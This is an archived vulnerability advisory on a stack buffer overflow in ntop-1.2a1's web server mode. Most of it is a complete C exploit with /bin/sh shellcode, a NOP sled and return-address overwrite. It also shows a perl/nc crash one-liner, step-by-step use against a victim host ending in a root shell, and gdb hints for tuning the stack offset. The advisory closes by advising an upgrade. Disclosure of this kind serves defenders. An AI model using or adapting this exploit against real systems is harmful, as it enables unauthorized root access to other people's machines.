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TUCoPS :: Unix :: General :: ntop2-2.htm

Ntop Buffer Overflow



Vulnerability

    ntop

Affected

    ntop-1.2a1 (at least)

Description

    Matt found following.  ntop has a stack-based BOF when it's
    requested too long filename.  This has been tested with version
    ntop-1.2a1.

    Example:

        1. first run ntop -w 8080
        2. run this script
           $ printf "GET /`perl -e 'print "A"x240'`\r\n\r\n" |nc localhost 8080
        3. the ntop goes seg. fault.
           $ ntop -w 8080
           ntop v.1.2a1 MT [i686-pc-linux-gnu] listening on eth0.
           Copyright 1998-99 by Luca Deri <deri@unipi.it>
           Warning: unable to read file '.ntop'. No security will be used!
           Waiting for HTTP connections on port 8080...
           Segmentation fault

    So, the exploit goes like this:

    #include <stdio.h>
    #include <string.h>


    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    void usage()
    {
     printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n");
     printf("                                 mat@hacksware.com\n");
     printf("Usage : ./ntop-w-exp | nc victim port\n");
     exit(0);
    }

    void main( int argc, char *argv[] )
    {
      int i,offset=-24;
    #define CODE_LEN 240
    #define NOP_LEN 50
      char code_buf[CODE_LEN];
      unsigned long esp=0xbedffb00;

      if(argc >= 2) offset = atoi(argv[1]);

      memset(code_buf,0x90,NOP_LEN); //insert NOP CODES
      memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode));
      for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4)
         *(long *)&code_buf[i]=(unsigned long)esp-offset;

      printf("GET /");
      for(i=0;i<CODE_LEN; i++)
      {
         putchar(code_buf[i]);
      }
      printf("\r\n\r\n");
    }

    Example:

        1. first you run ntop -w 8080 in victim machine
           [mat@overheaven mat]$ id
           uid=500(mat) gid=500(mat) groups=500(mat),0(root),200(staff)
           [mat@overheaven mat]$ ntop -w 8080
           ntop v.1.2a1 MT [i686-pc-linux-gnu] listening on eth0.
           Copyright 1998-99 by Luca Deri <deri@unipi.it>
           Warning: unable to read file '.ntop'. No security will be used!
           Waiting for HTTP connections on port 8080...
        2. compile exploit
           $ gcc -o ntop-w-exp ntop-w-exp.c
        3. send shell code to overheaven
           $ ./ntop-w-exp |nc overheaven 8080
        4. Now you get root shell in overheaven terminal
           base# hostname
           overheaven
           bash# id
           uid=0(root) gid=500(mat) groups=500(mat),0(root),200(staff)

    You cannot  get shell  in WWW  port, so  you can alternatively run
    programs  other  than  "/bin/sh"  by  modifying shellcode.  If you
    cannot  get  shellcode  to  work,  you  must  modify  esp value in
    ntop-w-exp.c.  Using gdb you can easily guess it.

        1. break returnHTTPPage
        2. break strcpy
        3. x/x $esp

Solution

    Upgrade to latest ntop version.


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